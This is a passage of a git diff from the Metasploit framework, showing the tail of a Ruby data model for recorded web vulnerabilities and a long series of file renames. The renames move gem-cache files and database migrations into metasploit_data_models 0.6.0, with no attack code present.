# @return [Integer] 1% to 100% + + # @!attribute [rw] description + # Description of the vulnerability + # + # @return [String, nil] + + # @!attribute [rw] method + # HTTP Methods for request that found vulnerability. 'PATH' is also allowed even though it is not an HTTP Method. + # + # @return [String] + # @see METHODS + + # @!attribute [rw] name + # Name of the vulnerability + # + # @return [String] + + # @!attribute [rw] path + # Path portion of URL + # + # @return [String] + + # @!attribute [rw] payload + # Web audit payload that gets executed by the remote server. Used for code injection vulnerabilities. + # + # @return [String, nil] + + # @!attribute [rw] pname + # Name of parameter that demonstrates vulnerability + # + # @return [String] + + # @!attribute [rw] proof + # String that proves vulnerability, such as a code snippet, etc. + # + # @return [String] + + # @!attribute [rw] query + # The GET query. + # + # @return [String] + + # @!attribute [rw] request + # + # @return [String] + + # @!attribute [rw] risk + # {RISK_RANGE Risk} of leaving this vulnerability unpatched. + # + # @return [Integer] + + # + # Validations + # + + validates :category, :presence => true + validates :confidence, + :inclusion => { + :in => CONFIDENCE_RANGE + } + validates :method, + :inclusion => { + :in => METHODS + } + validates :name, :presence => true + validates :path, :presence => true + validates :pname, :presence => true + validates :proof, :presence => true + validates :risk, + :inclusion => { + :in => RISK_RANGE + } + validates :web_site, :presence => true + + # + # Serializations + # + + # @!attribute [rw] params + # Parameters sent as part of request + # + # @return [Array>] Array of parameter key value pairs + serialize :params, MetasploitDataModels::Base64Serializer.new(:default => DEFAULT_PARAMS) + + # + # Methods + # + + # Parameters sent as part of request. + # + # @return [Array>] + def params + normalize_params( + read_attribute(:params) + ) + end + + # Set parameters sent as part of request. + # + # @param params [Array>, nil] Array of parameter key value pairs + # @return [void] + def params=(params) + write_attribute( + :params, + normalize_params(params) + ) + end + + private + + # Creates a duplicate of {DEFAULT_PARAMS} that is safe to modify. + # + # @return [Array] an empty array + def default_params + DEFAULT_PARAMS.dup + end + + # Returns either the given params or {DEFAULT_PARAMS} if params is `nil` + # + # @param [Array>, nil] params + # @return [Array<>] params if not `nil` + # @return [nil] if params is `nil` + def normalize_params(params) + params || default_params + end + + # switch back to public for load hooks + public + + ActiveSupport.run_load_hooks(:mdm_web_vuln, self) +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/wmap_request.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/wmap_request.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/wmap_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/wmap_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/workspace.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/workspace.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb index 8105105ee0..2d40a5f749 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/workspace.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb @@ -15,7 +15,6 @@ class Mdm::Workspace < ActiveRecord::Base # Relations # - has_many :cred_files, :dependent => :destroy, :class_name => 'Mdm::CredFile' has_many :creds, :through => :services, :class_name => 'Mdm::Cred' has_many :events, :class_name => 'Mdm::Event' has_many :hosts, :dependent => :destroy, :class_name => 'Mdm::Host' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/bin/mdm_console b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/bin/mdm_console rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/console_db.yml b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/console_db.yml rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml diff --git a/data/sql/migrate/000_create_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb similarity index 100% rename from data/sql/migrate/000_create_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb diff --git a/data/sql/migrate/001_add_wmap_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb similarity index 100% rename from data/sql/migrate/001_add_wmap_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb diff --git a/data/sql/migrate/002_add_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb similarity index 100% rename from data/sql/migrate/002_add_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb diff --git a/data/sql/migrate/003_move_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb similarity index 100% rename from data/sql/migrate/003_move_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb diff --git a/data/sql/migrate/004_add_events_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb similarity index 100% rename from data/sql/migrate/004_add_events_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb diff --git a/data/sql/migrate/005_expand_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb similarity index 100% rename from data/sql/migrate/005_expand_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb diff --git a/data/sql/migrate/006_add_timestamps.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb similarity index 100% rename from data/sql/migrate/006_add_timestamps.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb diff --git a/data/sql/migrate/007_add_loots.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb similarity index 100% rename from data/sql/migrate/007_add_loots.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb diff --git a/data/sql/migrate/008_create_users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb similarity index 100% rename from data/sql/migrate/008_create_users.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb diff --git a/data/sql/migrate/009_add_loots_ctype.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb similarity index 100% rename from data/sql/migrate/009_add_loots_ctype.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb diff --git a/data/sql/migrate/010_add_alert_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb similarity index 100% rename from data/sql/migrate/010_add_alert_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb diff --git a/data/sql/migrate/011_add_reports.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb similarity index 100% rename from data/sql/migrate/011_add_reports.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb diff --git a/data/sql/migrate/012_add_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb similarity index 100% rename from data/sql/migrate/012_add_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb diff --git a/data/sql/migrate/013_add_tasks_result.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb similarity index 100% rename from data/sql/migrate/013_add_tasks_result.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb diff --git a/data/sql/migrate/014_add_loots_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb similarity index 100% rename from data/sql/migrate/014_add_loots_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb diff --git a/data/sql/migrate/015_rename_user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb similarity index 100% rename from data/sql/migrate/015_rename_user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb diff --git a/data/sql/migrate/016_add_host_purpose.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb similarity index 100% rename from data/sql/migrate/016_add_host_purpose.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb diff --git a/data/sql/migrate/017_expand_info2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb similarity index 100% rename from data/sql/migrate/017_expand_info2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb diff --git a/data/sql/migrate/018_add_workspace_user_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb similarity index 100% rename from data/sql/migrate/018_add_workspace_user_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb diff --git a/data/sql/migrate/019_add_workspace_desc.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb similarity index 100% rename from data/sql/migrate/019_add_workspace_desc.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb diff --git a/data/sql/migrate/020_add_user_preferences.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb similarity index 100% rename from data/sql/migrate/020_add_user_preferences.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb diff --git a/data/sql/migrate/021_standardize_info_and_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb similarity index 100% rename from data/sql/migrate/021_standardize_info_and_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb diff --git a/data/sql/migrate/022_enlarge_event_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb similarity index 100% rename from data/sql/migrate/022_enlarge_event_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb diff --git a/data/sql/migrate/023_add_report_downloaded_at.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb similarity index 100% rename from data/sql/migrate/023_add_report_downloaded_at.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb diff --git a/data/sql/migrate/024_convert_service_info_to_text.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb similarity index 100% rename from data/sql/migrate/024_convert_service_info_to_text.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb diff --git a/data/sql/migrate/025_add_user_admin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb similarity index 100% rename from data/sql/migrate/025_add_user_admin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb diff --git a/data/sql/migrate/026_add_creds_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb similarity index 100% rename from data/sql/migrate/026_add_creds_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb diff --git a/data/sql/migrate/20100819123300_migrate_cred_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb similarity index 100% rename from data/sql/migrate/20100819123300_migrate_cred_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb diff --git a/data/sql/migrate/20100824151500_add_exploited_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb similarity index 100% rename from data/sql/migrate/20100824151500_add_exploited_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb diff --git a/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb similarity index 100% rename from data/sql/migrate/20100908001428_add_owner_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb diff --git a/data/sql/migrate/20100911122000_add_report_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb similarity index 100% rename from data/sql/migrate/20100911122000_add_report_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb diff --git a/data/sql/migrate/20100916151530_require_admin_flag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb similarity index 100% rename from data/sql/migrate/20100916151530_require_admin_flag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb diff --git a/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb similarity index 100% rename from data/sql/migrate/20100916175000_add_campaigns_and_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb diff --git a/data/sql/migrate/20100920012100_add_generate_exe_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb similarity index 100% rename from data/sql/migrate/20100920012100_add_generate_exe_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb diff --git a/data/sql/migrate/20100926214000_add_template_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb similarity index 100% rename from data/sql/migrate/20100926214000_add_template_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb diff --git a/data/sql/migrate/20101001000000_add_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb similarity index 100% rename from data/sql/migrate/20101001000000_add_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb diff --git a/data/sql/migrate/20101002000000_add_query.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb similarity index 100% rename from data/sql/migrate/20101002000000_add_query.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb diff --git a/data/sql/migrate/20101007000000_add_vuln_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb similarity index 100% rename from data/sql/migrate/20101007000000_add_vuln_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb diff --git a/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb similarity index 100% rename from data/sql/migrate/20101008111800_add_clients_to_campaigns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb diff --git a/data/sql/migrate/20101009023300_add_campaign_attachments.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb similarity index 100% rename from data/sql/migrate/20101009023300_add_campaign_attachments.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb diff --git a/data/sql/migrate/20101104135100_add_imported_creds.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb similarity index 100% rename from data/sql/migrate/20101104135100_add_imported_creds.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb diff --git a/data/sql/migrate/20101203000000_fix_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb similarity index 100% rename from data/sql/migrate/20101203000000_fix_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb diff --git a/data/sql/migrate/20101203000001_expand_host_comment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb similarity index 100% rename from data/sql/migrate/20101203000001_expand_host_comment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb diff --git a/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb similarity index 100% rename from data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb diff --git a/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb similarity index 100% rename from data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb diff --git a/data/sql/migrate/20110204112800_add_host_tags.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb similarity index 100% rename from data/sql/migrate/20110204112800_add_host_tags.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb diff --git a/data/sql/migrate/20110317144932_add_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb similarity index 100% rename from data/sql/migrate/20110317144932_add_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb diff --git a/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb similarity index 100% rename from data/sql/migrate/20110414180600_add_local_id_to_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb diff --git a/data/sql/migrate/20110415175705_add_routes_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb similarity index 100% rename from data/sql/migrate/20110415175705_add_routes_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb diff --git a/data/sql/migrate/20110422000000_convert_binary.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb similarity index 100% rename from data/sql/migrate/20110422000000_convert_binary.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb diff --git a/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb similarity index 100% rename from data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb diff --git a/data/sql/migrate/20110513143900_track_successful_exploits.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb similarity index 100% rename from data/sql/migrate/20110513143900_track_successful_exploits.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb diff --git a/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb similarity index 100% rename from data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb diff --git a/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb similarity index 100% rename from data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb diff --git a/data/sql/migrate/20110527000001_add_api_keys_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb similarity index 100% rename from data/sql/migrate/20110527000001_add_api_keys_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb diff --git a/data/sql/migrate/20110606000001_add_macros_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb similarity index 100% rename from data/sql/migrate/20110606000001_add_macros_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb diff --git a/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb similarity index 100% rename from data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb diff --git a/data/sql/migrate/20110624000001_add_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb similarity index 100% rename from data/sql/migrate/20110624000001_add_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb diff --git a/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb similarity index 100% rename from data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb diff --git a/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb similarity index 100% rename from data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb diff --git a/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb similarity index 100% rename from data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb diff --git a/data/sql/migrate/20110717000001_add_profiles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb similarity index 100% rename from data/sql/migrate/20110717000001_add_profiles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb diff --git a/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb similarity index 100% rename from data/sql/migrate/20110727163801_expand_cred_ptype_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb diff --git a/data/sql/migrate/20110730000001_add_initial_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb similarity index 100% rename from data/sql/migrate/20110730000001_add_initial_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb diff --git a/data/sql/migrate/20110812000001_prune_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb similarity index 100% rename from data/sql/migrate/20110812000001_prune_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb diff --git a/data/sql/migrate/20110922000000_expand_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb similarity index 100% rename from data/sql/migrate/20110922000000_expand_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb diff --git a/data/sql/migrate/20110928101300_add_mod_ref_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb similarity index 100% rename from data/sql/migrate/20110928101300_add_mod_ref_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb diff --git a/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb similarity index 100% rename from data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb diff --git a/data/sql/migrate/20111203000000_inet_columns.rb 